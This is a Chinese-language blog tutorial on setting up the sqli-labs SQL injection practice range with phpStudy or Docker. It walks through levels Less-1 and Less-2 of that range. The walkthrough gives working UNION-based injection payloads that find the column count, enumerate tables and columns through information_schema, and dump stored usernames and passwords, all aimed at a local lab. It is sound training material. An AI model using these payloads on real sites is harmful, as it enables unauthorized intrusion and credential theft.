怎么部署 sqli-Labs(SQL 注入练习靶场)及less1、2讲解
前言本文内容1. 部署sqli-Labs超级简单跟着学就会2. less-1和less-2的解题步骤与详细原理解释本文教的很详细感觉把常见的坑都踩了后续将会根据本人自学进度按page1-4发布整个sqli-labs的解题步骤每篇题目有点多主包其他内容也要更新可能会更新有点慢可以关注本专栏或者主包哦部署靶场部署SQLi-LabsSQL 注入练习靶场主要有两种方式传统源码部署适合学习 LAMP/WAMP 架构和Docker 部署最快、最干净。个人推荐Docker比较方便还不用下载源代码。我推测你可能已经安装了集成环境如 phpStudy、XAMPP 等如果没有安装可跳转到phpstudy详细安装教程包括部署dvwa靶场。以下是基于Windows (phpStudy/XAMPP)和Docker的详细部署教程 方法一传统源码部署推荐 Windows 用户这种方法适合想要深入理解 PHP 和 Web 服务器配置的学习者。1. 下载源码访问 GitHub 仓库SQLi-Labs GitHub点击Code-Download ZIP下载压缩包。解压文件夹将其重命名为sqli-labs。2. 放入网站根目录phpStudy (小皮面板)将sqli-labs文件夹移动到D:\phpstudy_pro\WWW\目录下。XAMPP移动到C:\xampp\htdocs\目录下。注意确保文件夹内直接是index.html和Less-1等文件不要多层嵌套。3. 修改数据库配置这是新手最容易卡住的地方必须配置数据库账号密码才能连接。进入文件夹路径sqli-labs/sql-connections/找到文件db-creds.inc用记事本或代码编辑器打开。修改以下两行根据你的数据库设置$dbuser root; // 你的数据库用户名默认通常是 root $dbpass root; // 你的数据库密码phpStudy 默认通常是 root 或空如果不确定密码可以在 phpStudy 面板的“数据库管理”中查看或重置。4. 初始化数据库启动 Apache 和 MySQL 服务。打开浏览器访问http://localhost/sqli-labs你会看到首页点击页面中间的Setup/reset Database for labs链接。如果看到满屏的successfully如 Creating New database SECURITY successfully说明部署成功 方法二Docker 部署最快、最省事如果你安装了 Docker这是最推荐的方式不需要配置 PHP 环境也不用担心版本兼容问题。需要点魔法或者使用镜像加速器本人2开靶场的问题我一开始都不知道要魔法一直下不成功---由于一些原因重新拉镜像请按照以下步骤把配置的地址换成下面这些稳定的打开 Docker Desktop 设置点击齿轮图标 ⚙️ -Docker Engine。修改 JSON 配置把registry-mirrors里的内容替换成下面这一组推荐网易和阿里云比较稳1{ 2 builder: { 3 gc: { 4 defaultKeepStorage: 20GB, 5 enabled: true 6 } 7 }, 8 experimental: false, 9 registry-mirrors: [ 10 https://hub-mirror.c.163.com, 11 https://docker.mirrors.ustc.edu.cn, 12 https://registry.docker-cn.com 13 ] 14}注意把registry-mirrors地址换成了网易 (163)、中科大 (ustc)和Docker 中国官方点击 Apply restart等待 Docker 重启。一切准备就绪后1. 拉取镜像打开终端CMD 或 PowerShell输入以下命令docker pull acgpiano/sqli-labs2. 运行容器执行以下命令启动靶场将容器的 80 端口映射到本机的 8081 端口docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs-p 8081:80表示访问本机的 8081 端口就能访问靶场。--name sqli-labs给容器起个名字叫 sqli-labs。执行命令之后的倒数第二行becb5e。。。。这个是随机生成的容器3. 访问与初始化浏览器访问http://127.0.0.1:8081同样点击Setup/reset Database for labs进行初始化。看到 successfully 即可开始练习。️ 常见问题排查问题现象可能原因解决方案Access denied for user rootlocalhost数据库密码错误检查sql-connections/db-creds.inc文件中的$dbpass是否与你实际数据库密码一致。页面空白 / 500 错误PHP 版本不兼容SQLi-Labs 较老建议使用PHP 5.x 或 7.x版本。如果是 PHP 8.x 可能会报错建议在集成环境中切换 PHP 版本。点击 Setup 没反应或报错数据库未启动确保 MySQL 服务已经开启。文件夹嵌套错误解压路径不对确保访问路径是localhost/sqli-labs而不是localhost/sqli-labs-master/sqli-labs。如果本次用完关掉了之后怎么重新打开这就涉及到 Docker 容器的生命周期管理了。这里有个关键点需要注意你在启动命令里用了--rm参数这会让容器在停止后自动销毁。为了以后方便使用我建议你分两种情况来看情况一如果你还没运行或者愿意重新运行一次推荐因为你的命令里加了--rm这意味着当你关机或停止容器时这个容器会被自动删除。下次你想用其实和第一次一样还是得重新运行命令。一定要注意刚开会显示没配置好数据库如图不要着急先等会来自本人---惨痛的教训如果像上面一样显示没配置好数据库然后你又着急了删了生成的容器重新生成一个就好了别删错镜像文件了如果删除了也是开魔法直接按照上面步骤重新下载启动就好了没删除镜像文件步骤如下打开 Docker Desktop确保右下角小鲸鱼图标不转圈。打开 PowerShell。输入启动命令和之前一样docker run -dt --name sqli-labs -p 8081:80 --rm acgpiano/sqli-labs打开浏览器访问。小贴士虽然容器被删了但镜像还在你电脑里。所以下次运行docker run时Docker 会直接利用本地镜像瞬间启动不需要重新下载非常快情况二如果你想要“暂停”和“继续”进阶玩法如果你不想每次都重新运行命令而是想像暂停游戏一样“保存状态”下次直接“继续”那启动时不要加--rm。如果你想体验这种模式可以这样操作1. 启动第一次去掉--rm运行docker run -dt --name sqli-labs -p 8081:80 acgpiano/sqli-labs2. 用完之后停止关机前在 PowerShell 输入docker stop sqli-labs此时容器停止了但没有被删除。3. 下次再用启动只需要输入这个简短的命令就能“唤醒”它docker start sqli-labs不需要再加那些复杂的参数了。总结鉴于你是初学者且acgpiano/sqli-labs这个靶场通常不需要保存做题进度代码是只读的建议你直接沿用“情况一”的方法。简单记就是每次想做题 - 开 Docker - 输一遍docker run ...命令 - 做题 - 关机。反正镜像已经在本地了启动只需要 1 秒钟。下载完之后启动可以把梯子关掉吗放心关完全没问题。下载完pull之后启动run和使用过程全是本地操作不需要梯子。你可以放心地按以下流程操作关掉梯子现在就可以关。保持 Docker 开启确保 Docker Desktop 是运行状态。启动命令在 PowerShell 里输入docker run命令。访问打开浏览器访问localhost:8081。一句话总结只要不下载新东西光运行已经有的镜像全程都不需要梯子。 开始练习部署成功后首页会列出所有关卡Less-1 到 Less-65Less-1 ~ Less-10GET 请求注入基础。Less-11 ~ Less-22POST 请求注入登录框、头部注入等。Less-23 ~ ...各种过滤绕过和进阶技巧。sqli-LABS Page-1 (Basic Challenges)less-1大概操作步骤总结具体操作步骤及详解首先注意的在浏览器地址栏的当前地址后面也就是url部分后面是加?id1不是直接id1标点符号是英文正确打错开始注入既然能正常显示数据现在就可以开始尝试 SQL 注入了。测试点 1判断注入类型字符型 vs 数字型Less-1 是经典的字符型注入单引号闭合。操作在地址栏输入?id1预期结果页面应该会报错出现 SQL 语法错误提示You have an error in your SQL syntax...。原理因为后台代码大概是SELECT * FROM users WHERE id$id LIMIT 0,1。当你输入1时SQL 语句变成了...WHERE id1...多出来的单引号破坏了语法。测试点 2尝试绕过闭合单引号操作输入?id1 --(注意 -- 后面有个加号或者空格)或者?id1‘ and ’1‘’1预期结果页面恢复正常再次显示 Your Login name: Dumb。原理1.--是 SQL 的注释符它把后面多余的单引号给注释掉了。2.闭合单引号确定有多少列order by你需要不断修改 URL 中的数字直到页面报错为止。尝试ORDER BY 1到ORDER BY 4保持你在上一轮的注入点即闭合了单引号并注释掉后面内容的状态依次尝试以下链接尝试 1?id1 order by 1 --结果页面正常。说明列数 ≥≥ 1。尝试 2?id1 order by 2 --结果页面正常。说明列数 ≥≥ 2。尝试 3?id1 order by 3 --结果页面正常。说明列数 ≥≥ 3。尝试 4?id1 order by 4 --结果页面报错。你会看到类似Unknown column 4 in order clause的错误提示。结论因为order by 3正常而order by 4报错这说明该查询语句中正好有 3 列。为什么要找列数找到列数这里是 3是为了下一步使用UNION SELECT联合查询做准备。只有当UNION前后的查询语句列数一致时数据才能成功显示在页面上。虽然查询3项但是页面上会显示3项吗确定都显示那么之后查询表查询列这三项都可以利用id-1‘union select 1,2,3#如果没有加负号就如下图所示目前页面上显示的 Dumb 是数据库里原本id1的数据。为了看清我们查询出来的结果需要先让前面的数据“消失”。让前面的数据消失你需要把id1改成一个不存在的 ID比如 -1 或者 9999。这样前面的查询结果为空页面上就会只显示后面UNION查询出来的数据。修改前...?id1 union select 1,2,3 --修改后...?id-1 union select 1,2,3 --观察页面变化当你把id改为-1后页面中间应该会直接显示数字Your Login name: 2Your Password: 3(注意1 通常不会显示或者显示在页面的其他角落比如标题栏里)结论既然 2 和 3 显示在了页面上说明这两个位置是回显位。接下来你可以把 2 和 3 替换成具体的数据库函数来查询你想要的信息了。为什么必须加?问号。?的作用它是 URL 中的分隔符告诉服务器“前面是文件路径后面是参数”。如果不加问号浏览器在发送请求时空格是非常特殊的字符。它会自动把空格转换成%20。所以服务器接收到的请求实际上变成了.../Less-1/id-1%20union%20select%201,2,3%20--你看地址栏Less-1后面直接跟了/id...。这说明浏览器或者你输入的时候把id...当做了子目录或者文件名而不是参数。对于 Apache 服务器来说URL 的路径部分是/Less-1/id-1而后面的union...被当成了路径的一部分而不是参数。服务器找不到叫这个名字的文件所以报了404 Not Found。怎么样判断成功出现 Your Login name 和 Your Password 并且后面跟着数字就说明这一步完全成功了这代表你已经成功做到了以下三点闭合了单引号成功修复了原本报错的 SQL 语法。注释掉了后面的代码成功屏蔽了后面原本多余的单引号--生效了。注入了自己的查询成功利用UNION让数据库执行了你写的select 1,2,3并且把结果数字 2 和 3显示在了页面上。获取数据库信息既然位置 2 和位置 3 会显示在页面上你就可以把这两个数字替换成数据库的函数来“偷”数据了。爆当前数据库名和版本把 URL 中的1,2,3改成下面的代码保留-1和引号闭合127.0.0.1:8081/Less-1/?id-1 union select 1, database(), version() --database()会显示当前数据库的名字Less-1 应该是security。version()会显示 MySQL 的版本比如5.5.53。爆当前的数据库用户127.0.0.1:8081/Less-1/?id-1 union select 1, user(), 3 --user()会显示数据库的用户名通常是rootlocalhost。效果页面上的 Your Login name 后面应该会变成security或者是版本号这就代表你真正开始拿到数据了拿到这个网站所有用户的账号和密码。第一步搞清楚有哪些表名数据库security就像一个大仓库里面有很多表Tables。我们需要知道表的名字才能去查数据。在 MySQL 中有一个自带的情报库叫information_schema里面记录了所有数据库的表名。操作指令我们要查询security库里有哪些表。127.0.0.1:8081/Less-1/?id-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schemasecurity --代码解释table_schemasecurity告诉数据库我们只查security这个库。group_concat(...)因为页面只显示一行结果这个函数会把查到的所有表名连成一串字符串显示出来防止被截断。from information_schema.tables这是 MySQL 存放地图的地方。结果页面 Your Password 的位置也就是数字 2 的位置应该会显示emails,referers,uagents,users这里最关键的是users这张表听名字就是存账号密码的。第二步搞清楚有什么列名知道了表名是users接下来要看这张表里有哪些列Columns。我们要找的是存放用户名和密码的列。操作指令查询users表的列名。127.0.0.1:8081/Less-1/?id-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_nameusers --注意如果报错可能需要把users写成十六进制0x7573657273来绕过一些简单的过滤但在 Less-1 通常不需要。结果页面应该会显示id,username,password太棒了我们找到了宝藏username和password。第三步查数据现在我们要做的就是把users表里的username和password这两列的数据全部读出来。操作指令不再查information_schema了直接查security库里的users表。127.0.0.1:8081/Less-1/?id-1 union select 1,2, group_concat(username, :, password) from users --代码解释from users直接从目标表查。group_concat(username, :, password)把用户名和密码拼在一起中间加个冒号方便阅读。最终结果页面的下方会列出一长串账号密码Dumb:Dumb,Angelina:I-kill-you, Dummy:pssword, ... admin:admin恭喜你你刚刚完成了一次完整的 SQL 注入攻击成功拖库Dump Database。less-2Less-2 的特点是不需要闭合引号。在 Less-1 中我们需要来闭合前面的单引号。但在 Less-2 中后台的 SQL 语句大概长这样SELECT * FROM users WHERE id$id LIMIT 0,1注意$id这里没有引号包裹。1. 验证注入点正常访问?id1- 页面正常显示 Dumb。测试报错?id1- 页面报错因为 SQL 变成了id1多了一个多余的单引号。测试逻辑?id1 and 11- 页面正常。测试逻辑?id1 and 12- 页面异常不显示用户。结论这是一个整数型注入不需要来闭合。没看懂这一步就反复去看less-1讲的很详细了2. 确定列数和 Less-1 一样使用ORDER BY。?id1 order by 3 --- 正常?id1 order by 4 --- 报错结论依然是3 列。3. 爆数据Union Select因为不需要闭合单引号Payload 会比 Less-1 短一点。我们需要让前面的id1失效所以用-1。Payload:?id-1 union select 1,2,3(注意这里不需要--注释符了因为后面没有多余的单引号需要处理当然加了也没错)4. 获取信息接下来的步骤和 Less-1 完全一样只是去掉了单引号查库名?id-1 union select 1,2,database()查表名?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity核心区别总结Less-1:?id-1 union select 1,2,3 --(有单引号闭合)Less-2:?id-1 union select 1,2,3(直接拼接无单引号)你可以直接尝试上面的 Payload应该能顺利看到数字 2 和 3 显示在页面上。获取当前数据库与用户?id-1 union select 1, user(), 3 --获取所有用户的账号和密码?id-1 union select 1,2, group_concat(username, :, password) from users --太棒了既然你已经成功拿下了 Less-1 和 Less-2那咱们的环境搭建阶段就圆满结束了。总结一下这两关Less-1是经典的单引号字符型注入我们学会了用来闭合前面的代码再用--注释掉后面多余的部分。Less-2是数字型注入不需要引号直接上数字就行。这两关其实就是 SQL 注入的“入门基本功”先把环境搞定后面遇到复杂的关卡也就心里有底了。